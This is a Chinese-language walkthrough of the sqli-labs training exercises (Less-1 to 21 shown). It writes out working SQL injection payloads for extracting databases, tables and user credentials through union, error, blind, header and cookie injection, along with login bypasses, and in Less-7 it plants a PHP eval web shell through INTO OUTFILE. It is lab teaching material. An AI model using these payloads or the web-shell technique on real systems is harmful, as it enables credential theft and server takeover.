sqli 1-35題詳解

轉自大佬蛇皮團團怪

前排鳴謝大佬救我狗命

以下正文,建議傳送門進大佬博客看,大佬排版無比舒適

 

剛做sqli-lab的時候,我逛了幾個博客論壇沒找到什麼特別完整的教程,在這裏寫一篇更完整的教程。

本教程中使用到的大部分函數可以在我的 sql注入入門必備基礎知識中找到具體說明和使用方法。

一些術語使用錯誤請見諒。

一些題目有多種方法,本人也是在學習當中,我會儘可能補全,但是精力有限,文章不盡完美,請見諒。

 

目錄
Page-1(Basic Challenges)

Less-1 GET - Error based - Single quotes - String(基於錯誤的GET單引號字符型注入)

Less-2 GET - Error based - Intiger based (基於錯誤的GET整型注入)

Less-3 GET - Error based - Single quotes with twist string (基於錯誤的GET單引號變形字符型注入)

Less-4 GET - Error based - Double Quotes - String (基於錯誤的GET雙引號字符型注入)

Less-5 GET - Double Injection - Single Quotes - String (雙注入GET單引號字符型注入)

Less-6 GET - Double Injection - Double Quotes - String (雙注入GET雙引號字符型注入)

Less-7 GET - Dump into outfile - String (導出文件GET字符型注入)

Less-8 GET - Blind - Boolian Based - Single Quotes (布爾型單引號GET盲注)

Less-9 GET - Blind - Time based. -  Single Quotes  (基於時間的GET單引號盲注)

Less-10 GET - Blind - Time based - double quotes (基於時間的雙引號盲注)

Less-11 POST - Error Based - Single quotes- String (基於錯誤的POST型單引號字符型注入)

Less-12 POST - Error Based - Double quotes- String-with twist (基於錯誤的雙引號POST型字符型變形的注入)

Less-13 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)

Less-14 POST - Double Injection - Single quotes-  String -twist (POST單引號變形雙注入)

less-15 POST - Blind- Boolian/time Based - Single quotes (基於bool型/時間延遲單引號POST型盲注)

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基於bool型/時間延遲的雙引號POST型盲注)

Less-17 POST - Update Query- Error Based - String (基於錯誤的更新查詢POST注入)

Less-18 POST - Header Injection - Uagent field - Error based (基於錯誤的用戶代理,頭部POST注入)

Less-19 POST - Header Injection - Referer field - Error based (基於頭部的Referer POST報錯注入)

 

Page-2 (Advanced Injections)

Less-20 POST - Cookie injections - Uagent field  - Error based (基於錯誤的cookie頭部POST注入)

Less-21 Cookie Injection- Error Based- complex - string ( 基於錯誤的複雜的字符型Cookie注入)

Less-22 Cookie Injection- Error Based- Double Quotes - string (基於錯誤的雙引號字符型Cookie注入)

Less-23 GET - Error based - strip comments (基於錯誤的,過濾註釋的GET型)

Less - 24 Second Degree Injections  *Real treat* -Store Injections (二次注入)

Less-25 Trick with OR & AND (過濾了or和and)

         Less-25a Trick with OR & AND Blind (過濾了or和and的盲注)

                   Less-26(failed) Trick with comments and space (過濾了註釋和空格的注入)

                   /*26-28轉https://blog.csdn.net/nzjdsds/article/details/77430073#t9*/

          less 26  Trick with comments and space (過濾了註釋和空格的注入)

          less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和註釋的盲注)

          less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)

          less 27a GET - Blind Based- All your UNION & SELECT belong to us

           less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基於錯誤的,有括號的單引號字符型,過濾了union和select等的注入

            less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基於盲注的,有括號的單引號字符型,過濾了union和select等的注入

Less-29 基於WAF的一個錯誤

Less-30 Get-Blind Havaing with WAF

Less-31 Protection with WAF

Less-32 Bypass addslashes()

Less-33 Bypass addslashes()

Less-34 Bypass Add SLASHES

Less-35 why care for addslashes()

結語

Page-1(Basic Challenges)


 
 
Less-1 GET - Error based - Single quotes - String(基於錯誤的GET單引號字符型注入)
方法一:手工UNION聯合查詢注入
輸入單引號,頁面報錯,如下圖所示

根據報錯信息,可以確定輸入參數的內容被存放到一對單引號中間,

猜想:咱們輸入的1在數據庫中出現的位置爲:select ... from ... where id=’1’ ......,

也可以查看sqli-lab中less-1的php文件可以看到,和猜想一致,

多餘的步驟不多說了,直接開始爆數據吧。

 

注意 id=非正確值

爆庫payload

?id=-1' union select 1,2,database() --+
得到‘security’庫名

爆表payload

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查到  emails,referers,uagents,users ,顯然users是用戶數據表

 

爆列名(字段)payload

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+


爆值payload

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
0x3a: 0x是十六進制標誌,3a是十進制的58,是ascii中的 ':' ,用以分割pasword和username。

 

方法二:手工報錯型注入

檢測報錯型payload

?id=1' and 1=1--+    //正確
?id=1' and 1=2--+    //失敗


證明確實存在手工報錯型注入,

注意id=正確值

 

爆表payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+


爆列名(字段)payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+


 顯然沒有完全顯示

使用 and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login') 來顯示其他值:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+
爆值payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+


同樣使用not in顯示其他值

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
 

方法三:sqlmap工具自動注入

sqlmap最起碼適用於1-10題,其他沒試過,sqlmap的使用有教程,我先不在這裏寫了,畢竟這篇主要是理解sql注入的教程。

以後有空再補充吧。

注入結束。

 
Less-2 GET - Error based - Intiger based (基於錯誤的GET整型注入)
輸入單引號,根據報錯信息確定咱們輸入的內容被原封不動的帶入到數據庫中,也可叫做數字型注入,

就是,把第一題中id=1後面的單引號去掉,其它保持不變就行了,不再贅述。

 

Less-3 GET - Error based - Single quotes with twist string (基於錯誤的GET單引號變形字符型注入)
輸入單引號,根據報錯信息確定咱們輸入的內容存放到一對單引號加圓括號中了,猜想一下咱們輸入1在數據庫語句中的位置,形如select ... from ... where id=(‘1’) ...,在第一題中id=1‘的後面單引號加上),其它保持不變就行了,不再贅述。

其實我推薦,做完題去看看它題目的php傳參語句,和過濾語句,對理解sql注入原理很有幫助的。

 
Less-4 GET - Error based - Double Quotes - String (基於錯誤的GET雙引號字符型注入)
輸入單引號,頁面無任何變化,

輸入雙引號,頁面報錯,

根據報錯信息判斷出咱們輸入的內容被放到一隊雙引號和圓括號中,

猜想一下:select ... from ... where id=(”1”) ...,把第一題中1後面的引號換成雙引號加)就可以了。

不再贅述。

 

Less-5 GET - Double Injection - Single Quotes - String (雙注入GET單引號字符型注入)


看到這個報錯信息,第一反應就是布爾型盲注、報錯型注入、時間延遲型盲注了

下面給出驗證時間延遲型的盲注:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+

發現明顯延遲,說明猜測正確。接下來的思路是通過延遲,依次爆破數據庫長度,數據庫名,表名,列名,以及字段。

布爾型和時間延遲型盲注建議採用sqlmap去跑。

其實本題不能稱作盲注,因爲存在回顯,真正的盲注時不存在回顯的,只能根據瀏覽器加載頁面情況,判定是否注入成功。

一些專業術語的誤用請見諒。

方法一:時間延遲型手工注入:

時間延遲型手工注入,正確會延遲,錯誤沒有延遲。id無所謂,又不看回顯,可以通過瀏覽器的刷新提示觀察延遲情況,但是id正確的時候的回顯有利於觀察。

時間延遲型和報錯型payload核心部分的構造相同

本方法中payload  =  ?id=1' and if(報錯型payload核心部分,sleep(5),1)--+

爆庫長payload

?id=1' and if(length(database())=8,sleep(5),1)--+


 

 明顯延遲,數據庫長度爲8.

爆庫名payload

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

明顯延遲,數據庫第一個字符爲s,加下來以此增加left(database(),字符長度)中的字符長度,等號右邊以此爆破下一個字符,正確匹配時會延遲。最終爆破得到left(database(),8)='security'

爆表名payload

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
通過堅持不懈的測試,終於在limit 3,1 爆破出user表名爲users.

爆列名payload

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
首先嚐試定向爆破,以提高手工注入速度,修改limit x,1 中的x查詢password是否存在表中,lucky的是limit 3,1的時候查到了password列,同樣的方法查詢username ,又一個lucky,接下來爆破字段的值。

爆破值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
 按照id排序,這樣便於對應。注意limit 從0開始.通過堅持不懈的嘗試終於爆破到第一個用戶的名字dumb,密碼dumb,需要注意的是,mysql對大小寫不敏感,所以你不知道是Dumb 還是dumb。

還有下面的還幾個用戶沒爆破,重複性的工作,我們技術人,應該少做,要學會如何在前人的基礎上更近一層,前幾天看了劉慈欣的《鄉村教師》,感觸很深,我們使用聲波文字這樣的載體傳輸信息,每秒傳輸幾個字節,而且我們的存儲體系很弱,這就很大程度阻止我們人類文明進程的發展速度的提高。

所以要在更多的在前人的基礎上創造新的東西。

這種重複性的工作,不要多做。sql注入,人生苦短,快用sqlmap。

方法二,布爾型手工注入:

在布爾型注入中,正確會回顯,錯誤沒有回顯,以此爲依據逐字爆破,注意id=1

手工注入時可使用例如left((select database()),1)<'t'  這樣的比較二分查找方法快速爆破。

暴庫payload

?id=1' and left((select database()),1)='s'--+
 

 

可以看>'t'無回顯,而<'t'有回顯。

最終確定的庫名爲security。

爆表paylaod

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
修改limit x,1和left中的位數限定數字,爆破到第一張表爲referer,終於在第三張表爆破到user表,名爲users。

爆列名payload

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
定向爆破制定password爲字段名,最後找到第4個字段爲password,同理看看有沒有usrname,最後到找到了,接下來只需要爆破這兩個字段的值就完事了。

爆字段payload

?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
用戶名

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
按照id排序,這樣便於對應。注意limit 從0開始.最後爆破到第一個用戶的名字dumb,密碼dumb,需要注意的是,mysql對大小寫不敏感,所以你不知道是Dumb 還是dumb。

布爾型的盲注比較煩的的就是手工注入很麻煩,必須慢慢試。

方法三,使用concat聚合函數

參考資料:http://www.2cto.com/article/201303/192718.html

簡單的說,使用聚合函數進行雙注入查詢時,會在錯誤信息中顯示一部分錯誤信息。

比如count函數後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。

例如select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
查詢數據庫版本,我在phpmyadmin中測試:

可以看到測試的錯誤信息中出現了版本號。即構造雙查詢,比如派生表,使一個報錯,另一個的結果就會出現在報錯的信息中。廢話不多說,想了解更詳細的看鏈接的內容,下面進入正題。

payload在concat()中構造

爆庫payload

?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//或者
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//注意本本方法具有隨機性,原理待研究

爆用戶payload

?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名payload

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
 修改limit x,1 可以遍歷表名,找到user這個表,猜測它存放username和password

爆列名payload

?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
  修改limit x,1 可以遍歷列名,找到username和password列

爆字段payload

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以顯示第x個用戶的password和username  (‘[’是分隔符)

注入結束。

Less-6 GET - Double Injection - Double Quotes - String (雙注入GET雙引號字符型注入)
 雙引號字符型注入,上一題的單引號改成雙引號就可以了,同樣是兩種方法:時間延遲型的手工盲注、報錯型的手工盲注或者sqlmap,再有利用concat()幾聚合數。

步驟和第五題一樣,不再贅述。

Less-7 GET - Dump into outfile - String (導出文件GET字符型注入)
幾次嘗試,不難猜出註釋符被過濾了,但是看看題目:less 7 GET - Dump into outfile - String (導出文件GET字符型注入)

所以大概要使用文件導出。我投機取巧了,找了個簡單題less-2直接注入拿到路徑,方便導出。

這裏插個小擴展:

winserver的iis默認路徑c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就.../var/www/htm,.../var/www/html/htdocs

phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\

xammp 就是...\xampp\htdocs

payload

Less-2/?id=-1 union select 1,@@basedir,@@datadir --+


注入less-7

payload

?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "F:\\WhiteFlie\\PhpStudy20180211\\PHPTutorial\\WWW\\sqli-labs\\ttt.php"--+
php的一句話我就不多解釋了。

注意下這裏的路徑必須用 \\

雖然回顯報錯,但是查看本地文件已經寫入了ttt.php,接下來中國菜刀(有需要的可以給評論一下,Email給你)連接一下。

連接之前最好用瀏覽器訪問一下,相當於運行一下,否則可能連不上。

地址:php一句話木馬的地址,後面的口令就是剛纔寫的post裏寫的cmd,當然可以使用其他口令。

本題是導出文件GET字符型注入,實際情況下,如果可掃描出phpmyadmin的後臺,並且後臺使用弱口令,也可以通過爆破進入後臺,從後臺注入文件。

大致過程:

再phpmyadmin的sql中執行命令:

use test; //選擇數據庫爲test 
create table test(bbb varchar(64)); //在數據庫中創建一個表test
insert into test values("<?php @eval($_POST['cmd']);?>"); //在test中插入一條數據
<?php @eval($_POST['cmd']);?> select * from test into outfile '一句話木馬路徑'; //將test中的數據導出到php文件


然後菜刀連接一下。

再或者直接用sqlmap跑也是可以的,不在贅述。

注入完成。

PS:
需要說一下這個方法需要mysql數據庫開啓secure-file-priv寫文件權限,否則不能寫入文件。

這是個坑,這裏說一下方法,方便讀者,不需要麻煩的再去找其他博客資料。

如果你使用的時phpstudy,或者xammp請修改其自己的環境裏的mysql配置文件。

進入mysql安裝目錄,找到my.ini 修改裏面的secure-file-priv參數

如果發現沒有secure_file_priv這個選項,直接再最後添加一個空的即可。

如果引號中是一個文件路徑的話,導入/出的文件路徑會再這個路徑下。

這破問題困擾我挺長時間的,現在在這說下,讓以讀者少走彎路。

Less-8 GET - Blind - Boolian Based - Single Quotes (布爾型單引號GET盲注)
題目名字暴露一切,本來不想看的,又瞥到了,布爾型盲注,單引號,id=1回顯,價格單引號不回顯,構造一下驗證是不是布爾型payload ?id=1' and 1=1 --+ 回顯了,證明沒跑了。

那就一步一步來吧,和less5一樣的,根據回顯判斷。

可以通過 > < 比較字符大小加速爆破

暴庫payload

?id=1' and left((select database()),1)='s'--+
庫名長度可使用?id=1' and length(database())=8--+ 判斷,同理表名字,段名等。

最後得到庫名?id=1' and left((select database()),8)='security'--+

爆表,爆字段,爆值,流水操作,和less5的方法二,手工注入所有payload一摸一樣,不再贅述。

less5的方法二,時間型的注入一樣能用,

但是不知道爲什麼concat聚合函數這題用不了。

注入完成。

Less-9 GET - Blind - Time based. -  Single Quotes  (基於時間的GET單引號盲注)
不管怎麼輸入,回顯總是you are ...

考慮時間型盲注,payload

?id=1' and sleep(3) --+
注意id=1,發現明顯延遲,說明注入成功,接下來爆破就完了。

這道題的payload構造和第五題的方法一是一樣的,一些廢話就不多說了,這裏就列一下過程,完事兒。

爆庫payload

?id=1' and if(length(database())=4 , sleep(3), 1) --+
發現當?id=1' and if(length(database())=8 , sleep(3), 1) --+時明顯延遲,所以庫名長爲8

?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+
發現明顯延遲說明庫名第一個字符爲 's'

繼續爆破?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+

說明庫名爲 'security'

爆表payload

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
使用limit x,1 查詢第x個表名,和爆破庫名一樣,第一個表名爲referer。終於,在第三個表爆到users這個表,顯然是用戶信息表。

爆字段payload

定向爆破password和username,這裏就不解釋了,第五題裏面寫的比較詳細了。

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
我在第4,9行分別爆破到password和username,個人環境不同的可能表位置有差別。

爆值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
爆破到第一個人的username:dumb,password:dumb。修改limit x,1 繼續爆破其他用戶,手工注入比較慢,可以使用sqlmap。

注入結束。

 

Less-10 GET - Blind - Time based - double quotes (基於時間的雙引號盲注)
基於時間的雙引號盲注,只要把上一題Less-9的單引號改成雙引號,一樣的注入,不再贅述。

 

11到21關的提交方式全是post型的,我這裏使用火狐瀏覽器的HackBar
實踐證明,只能使用burpsuit抓包軟件,修改post參數,所以棄用hackbar,改用burpsuit。
界面常用選項介紹


less11-less20登陸框的題可以輸入帶',",),的賬號密碼,根據報錯判斷sql查詢語句的構造方式:


 
Less-11 POST - Error Based - Single quotes- String (基於錯誤的POST型單引號字符型注入)
模擬真實環境,我們作爲Dump用戶使用Dump密碼登陸,可以看到以下

 

登陸成功

此時打開hackbar選中post可以看到,已經自動載入的剛纔提交的表單數據:

我剛測試了一下,hackbar提交uname=admin' and 1=2 --+&passwd=admin&submit=Submit作爲post參數時,無論and後面是1=1

還是1=2,都能登陸,不知道爲什麼,可能是提交的時候自動加了+號連接語句的問題。

所以現在改用burpsuit,抓包修改參數。

重新來過
輸入admin admin 登陸,抓包,發送到repeater模塊

在repeater中通過修改post的參數進行注入。

 

方法一 extractvalue測試payload
uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陸
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陸


說明注入生效,存在報錯型注入,接下來又是重複性工作,上extractvalue()

爆庫payload

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
爆表payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit
只能查詢到前幾個表,後面加上not in ()就可以查到其他表了,如:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit
這裏我們發現沒有更多的表了,而users表應該是存放用戶信息的,所以我們進入下一步。

爆列名payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit
使用同樣方法,可以查詢到其他列名,直到遍歷出所有列名,我們找到password和uername,開始爆值。

爆值payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit
同樣使用not in 可以查詢其他值:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit


方法二 聯合查詢union select測試payload
uname=0' union select 1,2  --+&passwd=admin&submit=Submit
注意uname是錯誤的,才能顯示聯合查詢內容。

可以注入。

然後就是最基本的union select注入,打個樣:

爆庫payload

uname=0' union select 1,database() --+&passwd=admin&submit=Submit
不再贅述。

注入結束。

 

Less-12 POST - Error Based - Double quotes- String-with twist (基於錯誤的雙引號POST型字符型變形的注入)
雙引號報錯型注入

按照題意應該是可以使用上一題的payload只需要修改單引號爲雙引號,但是實際測試不行,無論我使用--+還是%23還是#都不行,我就看了一下php文件:

可以看到sql查詢語句:

@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

構造一個能閉合語句而且會報錯的payload:

admin"  and extractvalue(1,concat(0x7e,(select database())))  and " 

最終admin = "admin"  and extractvalue(1,concat(0x7e,(select database())))  and " "

傳入後就變成了:

@$sql="SELECT username, password FROM users WHERE username="admin"  and extractvalue(1,concat(0x7e,(select database())))  and " " and password=($passwd) LIMIT 0,1";
 

 前閉合,中間查詢,後面報錯,應該是這樣沒錯了,實際測試沒問題,可以回顯,接下來就再concat()中構造查詢語句:

 

爆庫payload

uname=admin" and extractvalue(1,concat(0x7e,(select database())))  and " &passwd=admin&submit=Submit
 

爆表payload

uname=admin"  and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))  and "  &passwd=admin&submit=Submit
爆列payload

uname=admin"  and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))  and "  &passwd=admin&submit=Submit
同樣使用not in查詢沒有顯示出的其他值。

爆值payload

uname=admin"  and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))  and "  &passwd=admin&submit=Submit
 

方法二,聯合注入查詢。

uname=0") union select 1,database() --+ &passwd=admin&submit=Submit
和less-11一樣的聯合查詢,不再贅述。

 

方法三,奇淫技巧

 報錯的內容爲:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1

可以看出,他在我們輸入的哪裏多加了一個雙引號和括號。

據此構造出萬能密碼的Payload:

賬號:admin")#

 

注入結束。

 

Less-13 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)
通過報錯可知  是通過') 閉合的

發現沒有登入成功返回信息 ,看來是要盲注了。

方法一,報錯型

既然它返回錯誤信息了,說明有回顯,可以報錯注入。

樣例payload

uname=admin') and extractvalue(1,concat(0x7e,(select database())))  and ('
在concat()中構造查詢語句,完事,和less-12以及之前的報錯型注入一樣,不再贅述。

方法二,時間型盲注

因爲可以報錯注入,這個方法沒有回顯,就有點雞肋了,給個樣例payload:

uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit
這就又和之前的一樣了,不在贅述。

 

Less-14 POST - Double Injection - Single quotes-  String -twist (POST單引號變形雙注入)
輸入內容被放到雙引號中,報錯型注入,註釋符不可用

 

方法一,報錯型

樣例payload

uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and "  &passwd=admin&submit=Submit
 

方法二,時間型盲注

效率低,雞肋

樣例payload

uname=admin" and if(left(database(),1)='s',sleep(3),1) --+ &passwd=admin&submit=Submit
方法三,聚合函數

具有隨機性,雞肋

樣例payload

uname= " union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=admin&submit=Submit
 

注入結束。

 

less-15 POST - Blind- Boolian/time Based - Single quotes (基於bool型/時間延遲單引號POST型盲注)
盲注 - 基於布爾值 - 字符串

怎麼輸入都沒有回顯,那就時間延遲吧。

布爾測試payload

uname=admin' and 1=1 --+&passwd=admin&submit=Submit    //登陸成功
uname=admin' and 1=2 --+&passwd=admin&submit=Submit    //登錄失敗


 

時間延遲測試payload

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
明顯延遲,確定使用延遲注入。

手工延遲注入,最爲致命。

爆庫,表,列名,值,一次給出吧。

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
 

 

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基於bool型/時間延遲的雙引號POST型盲注)
這道題不管我在登陸框怎麼輸入,都沒有錯誤信息顯示,猜測是延遲型盲注。

 

方法一,時間延遲注入

payload和less-15差不多,只需要把上一題正的單引號改爲雙引號加括號 ") 就完事了。

不再贅述

 

方法二:奇淫技巧:

萬能賬號繞過密碼驗證:admin")#

注入結束。

 

Less-17 POST - Update Query- Error Based - String (基於錯誤的更新查詢POST注入)
單引號報錯型, 註釋符可用

這題也沒有錯誤回顯,差點就盲注去了,但是我去查了一下php文件:

顯然,這裏對uname做了check_input的處理,check_input()函數如下

看看是如何處理的

function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,15);
        }
 
        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }
 
        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }
        
    else
        {
        $value = intval($value);
        }
    return $value;
    }
只截取15個字符

get_magic_quotes_gpc()

當magic_quotes_gpc=On的時候,函數get_magic_quotes_gpc()就會返回1

當magic_quotes_gpc=Off的時候,函數get_magic_quotes_gpc()就會返回0

magic_quotes_gpc函數在php中的作用是判斷解析用戶提示的數據,如包括有:post、get、cookie過來的數據增加轉義字符“\”,以確保這些數據不會引起程序,特別是數據庫語句因爲特殊字符引起的污染而出現致命的錯誤。

在magic_quotes_gpc = On的情況下,如果輸入的數據有

單引號(’)、雙引號(”)、反斜線(\)與 NULL(NULL 字符)等字符都會被加上反斜線。

stripslashes()刪除由 addslashes() 函數添加的反斜槓

ctype_digit()判斷是不是數字,是數字就返回true,否則返回false

mysql_real_escape_string()轉義 SQL 語句中使用的字符串中的特殊字符。

intval()     整型轉換

我靠做了這麼多花裏胡哨的過濾,你怎麼沒對password也搞一次?

 

針對password爆破:

使用updatexml(),它和extractvaule()是親兄弟,以下測試version()返回mysql版本:

 

爆庫payload

 

爆表名payload

 

爆列名payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit


 

爆值payload

使用 :uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

發現不行:

 

加一層select試試,

uname=admin&passwd=admin' and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin'))),1) --+ &submit=Submit

查了一下加個名,就完事了

最終payload:

uname=admin&passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit
也可以用:

uname=admin&passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit
注入完成。

 

Less-18 POST - Header Injection - Uagent field - Error based (基於錯誤的用戶代理,頭部POST注入)
報錯型,單引號,user-agent型注入點。

看到user-agent的回顯,猜測注入點在user-agnet,可以直接測試,但是我去看看php文件吧:

我靠,真是說啥來啥,上一題還說passwrod沒做check,這題就做了,

又看到 insert語句,他把user-agent插入到了數據庫,所以可以從這裏下手,而且看的出來是單引號型,接下來開始爆破。

抓包修改user-agent爲一下payload就可以了。

 

測試爆庫payload

 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '


沒毛病,可以爆破

接下來的步驟和之前的報錯型注入一摸一樣,

payload可以參看,less-12 雙引號報錯型注入,只需要把雙引號改爲單引號就可以作爲本題的payload,這裏就不再贅述。

樣例爆庫payload:

User-Agent:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
注入結束。

 

 

Less-19 POST - Header Injection - Referer field - Error based (基於頭部的Referer POST報錯注入)
單引號,報錯型,referer型注入點。

本題和上一題很像,回顯是referer,查一下php文件可以發現,insert語句中向數據庫插入了referer,所以注入點改爲referer,paylaod和上一題完全一樣,也可以參照less-12,將其雙引號改爲單引號作爲本題payload,不再贅述。

樣例爆庫payload:

Referer:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
注入結束。

Page-2 (Advanced Injections)

 
 
Less-20 POST - Cookie injections - Uagent field  - Error based (基於錯誤的cookie頭部POST注入)
單引號,報錯型,cookie型注入。

登錄後頁面:

查看一下php文件,

可以看到查詢語句查詢了cookee,那我們就在cookies裏面進行注入

抓包看一下:

看到cookie:uname=admin 沒毛病就是cookie注入了

價格單引號發現:

爆出語法錯誤,看得出來就是單引號型。

加下來查一下行數

Cookie: uname=admin' order by 3--+ //1-3 正常
Cookie: uname=admin' order by 4--+ //4 不正常 ,確定行數爲3


爆庫payload

Cookie: uname=-admin' union select 1,2,database()--+


爆破成功。

接下來又是重複性的步驟,只需要在第三個查詢位置修改payload就可以完成sql注入,有需要可以查看less-1中的payload構造,很本題十分相似。

這裏不再贅述。

注入結束。

 

Less-21 Cookie Injection- Error Based- complex - string ( 基於錯誤的複雜的字符型Cookie注入)
base64編碼,單引號,報錯型,cookie型注入。

本關和less-20相似,只是cookie的uname值經過base64編碼了。

登錄後頁面:

圈出來的地方顯然是base64加密過的,解碼得到:admin,就是剛纔登陸的uname,所以猜測:本題在cookie處加密了字符串,

查看php文件確實如此,所以只需要上傳paylaod的時候base64加密一下就可以了。

先抓包看一下:

看到cookie是YWRtaW4%3D ,和頁面顯示不一樣,但是明顯%3D 是=號urldecode的結果,接下來構造paylaod進行測試

admin' and 1=1 --+    //明文
